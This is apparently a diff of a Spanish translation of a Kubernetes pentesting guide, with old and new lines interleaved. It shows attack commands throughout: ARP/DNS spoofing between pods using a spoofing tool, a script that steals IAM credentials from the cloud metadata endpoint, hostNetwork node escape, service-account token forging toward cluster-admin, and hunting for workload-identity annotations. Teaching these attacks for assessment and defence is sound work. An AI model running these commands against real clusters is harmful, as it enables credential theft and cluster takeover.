> Esto significa que una **DNS request** de un pod **siempre** va a pasar por el **bridge** para **translate** la **service IP to the endpoint IP**, incluso si el DNS server está en la misma subnetwork que el pod.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> Sabiendo esto, y sabiendo que los **ARP attacks are possible**, un **pod** en un node va a poder **intercept the traffic** entre **each pod** en la **subnetwork** y el **bridge**, y **modify** las **DNS responses** del DNS server (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> Además, si el **DNS server** está en el **same node as the attacker**, el attacker puede **intercept all the DNS request** de cualquier pod en el cluster (entre el DNS server y el bridge) y modificar las responses.
> [!NOTE]
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
> Valida el CNI activo y la DNS path antes de asumir que esto funciona en un cluster real. Algunos CNIs enrutan o aíslan el tráfico en el mismo node de forma diferente, y los clusters que usan NodeLocal DNSCache pueden enviar las DNS queries de los pods a una dirección local del node antes de reenviarlas a CoreDNS. En esos entornos, el DNS spoofing depende de la ubicación del pod, las packet capabilities, la resolver configuration, el comportamiento del node-local cache y de si las applications verifican los peers con TLS u otro mecanismo de identity.
## ARP Spoofing en pods en el mismo Node
## ARP Spoofing in pods in the same Node
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
Nuestro objetivo es **robar al menos la comunicación del ubuntu-victim al mysql**.
### Scapy
```bash
@@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Como ya se mencionó, si **comprometes un pod en el mismo nodo del pod del DNS server**, puedes hacer **MitM** con **ARPSpoofing** del **bridge** y del pod de **DNS** y **modificar todas las respuestas DNS**.
Como ya se mencionó, si **comprometes un pod en el mismo nodo que el pod del DNS server**, puedes hacer **MitM** con **ARPSpoofing** del **bridge** y el pod de **DNS** y **modificar todas las respuestas DNS**.
Tienes una muy buena **tool** y **tutorial** para probar esto en [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
En nuestro escenario, **descarga** la **tool** en el pod atacante y crea un **archivo llamado `hosts`** con los **domains** que quieres **spoof** como:
En nuestro escenario, **descarga** la **tool** en el pod atacante y crea un **file named `hosts`** con los **domains** que quieres **spoof** como:
```
cat hosts
google.com. 1.1.1.1
```
Realiza el ataque a la máquina ubuntu-victim:
Realiza el attack to the ubuntu-victim machine:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -270,9 +286,9 @@ google.com. 1 IN A 1.1.1.1
Un usuario con permisos de escritura sobre el configmap `coredns` en el namespace kube-system puede modificar las respuestas DNS del cluster.
Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.
También revisa NodeLocal DNSCache si está desplegado. Normalmente se ejecuta como un hostNetwork DaemonSet y tiene su propio ConfigMap, logs, cache y forwarding path. Un cambio en CoreDNS puede no ser el único lugar donde el comportamiento DNS pueda verse afectado u observado.
Check more information about this attack in:
Consulta más información sobre este ataque en:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
@@ -280,30 +296,30 @@ abusing-roles-clusterroles-in-kubernetes/README.md
## Abusing exposed kubernetes management services
Servicios como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope y el Kubernetes dashboard suelen estar expuestos ya sea a internet o dentro de la kubernetes network. Un atacante que logre **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API y perform actions like creating new pods, modifying existing ones, or even deleting them.
Servicios como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope y el Kubernetes dashboard a menudo están expuestos ya sea a internet o dentro de la red de kubernetes. Un atacante que logre **encontrar cualquier plataforma usada para gestionar kubernetes y acceder a ella** puede abusar de ella para obtener acceso a la API de kubernetes y realizar acciones como crear nuevos pods, modificar los existentes o incluso eliminarlos.
## Enumerating kubernetes network policies
Obtener **networkpolicies** configuradas:
Get configured **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Obtener políticas de red de **Callico**:
Obtener políticas de red **Callico**:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Obtener políticas de red de **Cillium**:
Obtener **Cillium** network policies:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Obtén otros CRDs relacionados con políticas instalados por tu network plugin o security solution:
Obtén otros CRDs relacionados con policy instalados por tu network plugin o security solution:
```bash
kubectl get crd | grep -i policy
```
## Capturing Traffic
La herramienta [**Mizu**](https://github.com/up9inc/mizu) es un simple pero potente API **traffic viewer for Kubernetes** que te permite **ver toda la comunicación API** entre microservices para ayudarte a depurar y solucionar regressions.\
Instalará agents en los pods seleccionados y recopilará su información de traffic y te la mostrará en un web server. Sin embargo, necesitarás altos permisos de K8s para esto (y no es muy stealthy).
La herramienta [**Mizu**](https://github.com/up9inc/mizu) es un **traffic viewer para Kubernetes** simple pero potente, que te permite **ver toda la comunicación API** entre microservices para ayudar a depurar y solucionar regressions.\
Instalará agents en los pods seleccionados y recopilará su información de traffic, mostrándola en un web server. Sin embargo, necesitarás permisos altos de K8s para esto (y no es muy stealthy).
## References
@@ -4,30 +4,30 @@
## GCP
Si estás ejecutando un cluster k8s dentro de GCP, probablemente querrás que alguna aplicación que se ejecute dentro del cluster tenga acceso a GCP. Hay 2 formas comunes de hacerlo:
Si estás ejecutando un clúster de k8s dentro de GCP, probablemente querrás que alguna aplicación que se ejecuta dentro del clúster tenga acceso a GCP. Hay 2 formas comunes de hacerlo:
### Mounting GCP-SA keys as secret
### Montando claves GCP-SA como secret
Una forma común de dar **access a una kubernetes application to GCP** es:
Una forma común de dar **acceso a una aplicación kubernetes a GCP** es:
- Crear un GCP Service Account
- Asignarle los permisos deseados
- Descargar una json key de la SA creada
- Descargar una clave json del SA creado
- Montarla como un secret dentro del pod
- Establecer la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde está el json.
> [!WARNING]
> Por lo tanto, como **attacker**, si comprometes un container dentro de un pod, deberías revisar esa **env** **variable** y los **json** **files** con credenciales de GCP.
> Por lo tanto, como **atacante**, si comprometes un contenedor dentro de un pod, deberías comprobar esa **variable** de **env** y los **archivos** **json** con credenciales de GCP.
### Relating GSA json to KSA secret
### Relacionando el json de GSA con el secret de KSA
Una forma de dar acceso a una GSA a un GKE cluser es enlazándolos de esta manera:
Una forma de dar acceso a un GSA a un clúster GKE es vinculándolos de esta manera:
- Crear una Kubernetes service account en el mismo namespace que tu cluster GKE usando el siguiente comando:
- Crear una Kubernetes service account en el mismo namespace que tu clúster GKE usando el siguiente comando:
```bash
kubectl create serviceaccount <service-account-name>
```
- Crea un Kubernetes Secret que contenga las credenciales de la cuenta de servicio de GCP a la que quieras conceder acceso al cluster de GKE. Puedes hacer esto usando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo:
- Cree un Kubernetes Secret que contenga las credenciales de la cuenta de servicio de GCP a la que desea otorgar acceso al clúster GKE. Puede hacer esto usando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
@@ -44,11 +44,11 @@ iam.gke.io/gcp-service-account=<gcp-service-account-email>
### GKE Workload Identity
Con Workload Identity, podemos configurar una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para actuar como una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Los Pods que se ejecutan con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a las APIs de Google Cloud.
Con Workload Identity, podemos configurar una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para que actúe como una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Los pods que se ejecuten con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a las APIs de Google Cloud.
La **primera serie de pasos** para habilitar este comportamiento es **habilitar Workload Identity en GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) y crear la GCP SA que quieres que k8s impersonate.
- **Enable Workload Identity** en un nuevo cluster
- **Habilitar Workload Identity** en un nuevo cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
@@ -59,7 +59,7 @@ gcloud container clusters update <cluster_name> \
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Crea el **GCP Service Account to impersonate** desde K8s con permisos de GCP:
- Crear la **GCP Service Account to impersonate** desde K8s con permisos de GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Vincular el GSA con el KSA**
- **Bind the GSA con el KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Ejecuta un **pod** con la **KSA** y comprueba el **access** a **GSA:**
- Ejecuta un **pod** con el **KSA** y comprueba el **access** a **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Comprueba el siguiente comando para autenticarte en caso de que sea necesario:
Revisa el siguiente comando para autenticarte en caso de que sea necesario:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Como atacante dentro de K8s deberías **buscar SAs** con la anotación **`iam.gke.io/gcp-service-account`** ya que eso indica que la SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.\
> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso estás dando a las SAs dentro de Kubernetes**.
> Como atacante dentro de K8s deberías **buscar SAs** con la **`iam.gke.io/gcp-service-account` annotation** ya que eso indica que la SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.\
> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso les estás dando a las SAs dentro de Kubernetes**.
Este es un script para **iterar fácilmente sobre todas las definiciones de pods** **buscando** esa **anotación**:
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,7 +141,7 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Una forma (obsoleta) de dar IAM Roles a Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Básicamente necesitarás ejecutar un **daemonset** en tu cluster con un **kind of privileged IAM role**. Este daemonset será el que dará acceso a IAM roles a los pods que lo necesiten.
Una forma (desactualizada) de dar IAM Roles a Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Básicamente necesitarás ejecutar un **daemonset** en tu cluster con un **kind of privileged IAM role**. Este daemonset será el que dará acceso a IAM roles a los pods que lo necesiten.
Antes que nada necesitas configurar **qué roles pueden ser accedidos dentro del namespace**, y eso se hace con una annotation dentro del objeto namespace:
```yaml:Kiam
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Una vez que el namespace está configurado con los roles IAM que los Pods pueden tener, puedes **indicar el rol que quieres en cada definición de pod con algo como**:
Una vez que el namespace está configurado con los IAM roles que pueden tener los Pods, puedes **indicar el role que quieres en cada definición de pod con algo como**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Como atacante, si **encuentras estas annotations** en pods o namespaces o un servidor kiam/kube2iam en ejecución (en kube-system probablemente) puedes **impersonate every r**ole que ya está **used by pods** y más (si tienes acceso a la cuenta de AWS enumera los roles).
> Como atacante, si **encuentras estas anotaciones** en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes **impersonate every r**ole que ya está **used by pods** y más (si tienes acceso a la cuenta de AWS enumera los roles).
#### Create Pod with IAM Role
> [!NOTE]
> El IAM role que indiques debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él.
> El IAM role que se indique debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role para K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Esta es la **forma recomendada por AWS**.
1. Primero necesitas [crear un OIDC provider para el cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Luego creas un IAM role con los permisos que requerirá el SA.
3. Crea una [trust relationship entre el IAM role y el nombre del SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o los namespaces dando acceso al role a todos los SAs del namespace). _La trust relationship comprobará principalmente el nombre del OIDC provider, el nombre del namespace y el nombre del SA_.
4. Finalmente, **crea un SA con una annotation indicando el ARN del role**, y los pods ejecutándose con ese SA tendrán **acceso al token del role**. El **token** se **escribe** dentro de un file y el path se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. Primero necesitas [crear un proveedor OIDC para el cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Luego creas un IAM role con los permisos que la SA requerirá.
3. Crea una [trust relationship entre el IAM role y el nombre de la SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o los namespaces dando acceso al role a todas las SAs del namespace). _La trust relationship comprobará principalmente el nombre del proveedor OIDC, el nombre del namespace y el nombre de la SA_.
4. Finalmente, **crea una SA con una anotación que indique el ARN del role**, y los pods ejecutándose con esa SA tendrán **access al token del role**. El **token** se **escribe** dentro de un archivo y la ruta se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -221,22 +221,65 @@ Para **obtener aws usando el token** de `/var/run/secrets/eks.amazonaws.com/serv
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Como atacante, si puedes enumerar un cluster K8s, busca **service accounts con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** usando uno de los IAM **privileged service accounts** y roba el token.
> Como atacante, si puedes enumerar un clúster de K8s, revisa si hay **service accounts con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** usando una de las IAM **privileged service accounts** y roba el token.
>
> Además, si estás dentro de un pod, busca variables de entorno como **AWS_ROLE_ARN** y **AWS_WEB_IDENTITY_TOKEN.**
> Además, si estás dentro de un pod, revisa variables de entorno como **AWS_ROLE_ARN** y **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> A veces la **Turst Policy de un role** puede estar **mal configurada** y, en lugar de dar acceso AssumeRole al service account esperado, se lo da a **todos los service accounts**. Por lo tanto, si eres capaz de escribir una annotation en un service account controlado, puedes acceder al role.
> A veces la **Turst Policy de un role** puede estar **mal configurada** y, en vez de dar acceso de AssumeRole al service account esperado, se lo da a **todos los service accounts**. Por lo tanto, si eres capaz de escribir una annotation en un service account controlado, puedes acceder al role.
>
> Consulta la **siguiente página para más información**:
> Revisa la **siguiente página para más información**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Encontrar Pods y SAs con IAM Roles en el Cluster
### EKS Pod Identity
Este es un script para **iterar fácilmente por todas las definiciones de pods y sas** **buscando** esa **annotation**:
EKS Pod Identity es la forma más nueva administrada por AWS para asociar un IAM role con un Kubernetes service account sin depender de que cada workload llame a STS con un IRSA web identity token. El cluster ejecuta el EKS Pod Identity Agent en los nodos, la EKS API almacena las pod identity associations, y los AWS SDKs en pods seleccionados obtienen credentials a través de la ruta del container credentials provider expuesta por el agent.
Desde Kubernetes, la evidencia interesante sigue siendo la relación entre service account y pod, pero las señales de runtime son distintas de IRSA. Busca variables de entorno de AWS container credential en pods en lugar de solo `AWS_WEB_IDENTITY_TOKEN_FILE`:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
Desde AWS, enumera las associations y luego mapea them back to Kubernetes namespaces y service accounts:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
Dentro de un pod asociado, los principales indicadores de runtime son las variables del provider de credenciales del container inyectadas por EKS:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
El endpoint local de credenciales suele ser `http://169.254.170.23/v1/credentials` y el token de autorización es un projected service account token para el audience `pods.eks.amazonaws.com`. Recuerda que el orden de credential-provider del AWS SDK sigue aplicando: si static environment credentials o shared credential files están configurados antes en la cadena, el pod puede usar esos en lugar de la Pod Identity association.
Las roles de Pod Identity normalmente confían en el service principal `pods.eks.amazonaws.com` para `sts:AssumeRole` y `sts:TagSession`. Revisa las condiciones de trust-policy sobre request tags como `kubernetes-namespace`, `kubernetes-service-account` y cluster tags, porque condiciones demasiado amplias pueden hacer que una reusable role esté disponible para demasiados service accounts. Pod Identity también añade session tags a las temporary credentials, y esas tags pueden impulsar políticas ABAC como el acceso a recursos basado en `${aws:PrincipalTag/kubernetes-namespace}` o `${aws:PrincipalTag/kubernetes-service-account}`.
Para cross-account access, una Pod Identity association puede usar una same-account role que encadena hacia una target role en otra cuenta. En ese caso, revisa ambas capas: la EKS association role y la target role trust/policy. Las Pod Identity session tags son transitive a través de la cadena de roles, así que son evidencia útil para demostrar qué cluster namespace y service account accedió a la remote account.
> [!WARNING]
> Si puedes crear o modificar pods que usan un service account con una EKS Pod Identity association, prueba si ese pod recibe permisos AWS útiles. Si estás defendiendo, alerta sobre nuevas pod identity associations, uso inesperado de service account y llamadas a AWS API desde roles que solo deberían ser usados por workloads específicos.
### EKS governance guardrails
Al revisar EKS desde el lado de AWS, recuerda que IAM y AWS Organizations guardrails pueden denegar configuraciones inseguras del cluster incluso cuando un principal tiene permisos EKS que parecen amplios. Los recent EKS condition keys cubren ajustes del cluster como el acceso público o privado al endpoint, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier y la configuración de zonal shift. Estas keys se pueden usar en IAM policies o Service Control Policies para imponer baselines de cluster en toda la cuenta.
Esto importa tanto para el impacto del ataque como para el triage. Si un principal puede llamar a `eks:UpdateClusterConfig` pero un SCP deniega habilitar un public endpoint mediante `eks:endpointPublicAccess`, reporta la acción riesgosa intentada y el guardrail que la bloqueó en lugar de afirmar una exposición pública de API. Para defenders, alerta tanto sobre cambios de configuración de EKS denegados como sobre cambios exitosos, porque los intentos denegados pueden revelar automatización comprometida, stale admin roles o reconnaissance antes de un pivot a una cuenta menos protegida.
Referencias útiles:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
Este es un script para **iterar fácilmente sobre todos los pods y sas** definitions **buscando** esa **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,16 +298,16 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
La sección anterior trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un **Node del** clúster K8s va a ser una **instancia dentro de la cloud**. Esto significa que lo más probable es que el Node vaya a **tener un IAM role que puedes robar** (_nota que normalmente todos los nodes de un clúster K8s tendrán el mismo IAM role, así que puede que no merezca la pena intentar comprobarlo en cada node_).
La sección anterior trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un **Node de** K8s cluster va a ser una **instance dentro del cloud**. Esto significa que es muy probable que el Node vaya a **tener un IAM role que puedas robar** (_nota que normalmente todos los nodes de un K8s cluster tendrán el mismo IAM role, así que quizá no merezca la pena intentar comprobarlo en cada node_).
Para acceder al endpoint de metadata del node necesitas:
- Estar en un pod y tener el endpoint de metadata configurado con al menos 2 tcp hops. Esta es la misconfiguration más común, ya que normalmente distintos pods en el clúster necesitarán acceso al endpoint de metadata para no romperse y varias empresas simplemente deciden permitir acceso al endpoint de metadata desde todos los pods del clúster.
Para acceder al metadata endpoint del node necesitas:
- Estar en un pod y tener el metadata endpoint configurado con al menos 2 tcp hops. Esta es la mala configuración más común, ya que normalmente distintos pods en el cluster necesitarán acceso al metadata endpoint para no romperse y varias empresas simplemente deciden permitir acceso al metadata endpoint desde todos los pods del cluster.
- Estar en un pod con `hostNetwork` habilitado.
- Escapar al node y acceder directamente al endpoint de metadata.
- Escapar al node y acceder al metadata endpoint directamente.
(Nota que el endpoint de metadata está en 169.254.169.254 como siempre).
(Nota que el metadata endpoint está en 169.254.169.254 como siempre).
En entornos EKS más nuevos, verifica el modo del node y del cluster antes de asumir que los pods pueden alcanzar el instance profile del node. Las AMIs optimizadas de Amazon Linux 2023 EKS dejan por defecto el IMDS hop limit en 1, y EKS Auto Mode habilita `disablePodIMDS` por defecto, así que los pods normales no deberían recibir credenciales del node-role a menos que el operador haya cambiado esos ajustes o el pod tenga otra ruta a nivel de node como `hostNetwork` o un compromiso del node. El patrón recomendado es bloquear el acceso de los pods al IMDS del node y usar IRSA o EKS Pod Identity para los permisos AWS del workload.
En entornos EKS más nuevos, verifica el node y el cluster mode antes de asumir que los pods pueden llegar al node instance profile. Las AMIs optimizadas para Amazon Linux 2023 EKS establecen por defecto el IMDS hop limit en 1, y EKS Auto Mode habilita `disablePodIMDS` por defecto, así que los pods normales no deberían recibir node-role credentials salvo que el operador haya cambiado esos ajustes o el pod tenga otra a a nivel de node, como `hostNetwork` o compromise del node. El patrón recomendado es bloquear el acceso de los pods al node IMDS y usar IRSA o EKS Pod Identity para los AWS permissions de la workload.
Para **escapar al node** puedes usar el siguiente comando para ejecutar un pod con `hostNetwork` habilitado:
```bash
@@ -274,7 +317,7 @@ kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"s
Anteriormente hemos discutido cómo **adjuntar IAM Roles a Pods** o incluso cómo **escapar al Node para robar el IAM Role** que la instancia tiene adjunto.
Puedes usar el siguiente script para **robar** tus nuevas y arduamente obtenidas **credenciales del IAM role**:
Puedes usar el siguiente script para **robar** tus nuevas y arduamente conseguidas **credenciales de IAM role**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -285,13 +328,13 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
### Privesc to cluster-admin
### Privesc a cluster-admin
En resumen: si es posible **access the EKS Node IAM role** desde un pod, es posible **compromise the full kubernetes cluster**.
Para más información revisa [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumen, el IAM EKS role por defecto que se asigna a los nodos EKS por defecto se asigna al role `system:node` dentro del cluster. Este role es muy interesante aunque está limitado por las kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Para más info, revisa [this post](https://blog.calif.io/p/privilege-escalation-in-eks). En resumen, el IAM EKS role por defecto que se asigna a los nodos EKS por defecto se asigna al role `system:node` dentro del cluster. Este role es muy interesante aunque está limitado por las kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Sin embargo, el node siempre puede **generate tokens for service accounts** que se ejecutan en pods dentro del node. Entonces, si el node está ejecutando un pod con un privileged service account, el node puede generar un token para ese service account y usarlo para impersonate el service account como en:
Sin embargo, el node siempre puede **generate tokens for service accounts** que se ejecutan en pods dentro del node. Así que, si el node está ejecutando un pod con un privileged service account, el node puede generar un token para ese service account y usarlo para impersonate the service account como en:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,11 +343,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
En AKS, mantén tres rutas de identidad separadas durante la assessment:
En AKS, mantén separadas tres rutas de identidad durante la assessment:
- **Azure to Kubernetes**: Azure principals pueden recuperar kubeconfigs de usuario o admin a través de Azure Resource Manager si su rol de Azure RBAC lo permite. Los kubeconfigs de admin local de `az aks get-credentials --admin` son credenciales basadas en certificados y pueden eludir la gobernanza normal de Microsoft Entra de usuarios/grupos, salvo que las local accounts estén deshabilitadas.
- **Microsoft Entra to Kubernetes**: Los clusters integrados con Entra autentican usuarios, grupos o service principals mediante `kubelogin`/exec kubeconfigs. La acción final de Kubernetes puede ser autorizada por native Kubernetes RBAC o por Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Los pods normalmente deben usar Microsoft Entra Workload ID, que intercambia projected Kubernetes service account tokens con Entra a través del AKS OIDC issuer y federated identity credentials.
- **Azure to Kubernetes**: Los principales de Azure pueden recuperar kubeconfigs de usuario o administrador a través de Azure Resource Manager si su rol de Azure RBAC lo permite. Los kubeconfigs de administrador local de `az aks get-credentials --admin` son credenciales basadas en certificados y pueden eludir la gobernanza normal de usuarios/grupos de Microsoft Entra a menos que las cuentas locales estén deshabilitadas.
- **Microsoft Entra to Kubernetes**: Los clusters integrados con Entra autentican usuarios, grupos o service principals mediante `kubelogin`/exec kubeconfigs. La acción final de Kubernetes puede ser autorizada por RBAC nativo de Kubernetes o por Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Normalmente, los pods deberían usar Microsoft Entra Workload ID, que intercambia tokens proyectados de service account de Kubernetes con Entra a través del AKS OIDC issuer y federated identity credentials.
Useful AKS identity checks from Azure:
```bash
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
Si el clúster todavía usa el modelo obsoleto de Microsoft Entra pod-managed identity, busca los antiguos CRDs y los componentes NMI/MIC en lugar de las anotaciones de Workload ID:
Los entornos AKS más nuevos pueden usar **AKS Identity Bindings** (preview) para escalar Workload ID a través de muchos clusters o service accounts sin crear un federated identity credential por cada subject. En ese modelo, una user-assigned managed identity se vincula al cluster AKS, los workloads se activan con `azure.workload.identity/use-identity-binding: "true"`, y Kubernetes RBAC concede `use-managed-identity` sobre recursos `cid.wi.aks.azure.com` nombrados según los client IDs de la managed identity. Un `ClusterRoleBinding` amplio aquí puede exponer la misma Azure identity a más namespaces de lo esperado, incluso si los subjects directos del federated identity credential parecen restringidos.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
Si el cluster todavía usa el modelo deprecated de Microsoft Entra pod-managed identity, busca los CRDs antiguos y los componentes NMI/MIC en lugar de las anotaciones de Workload ID:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
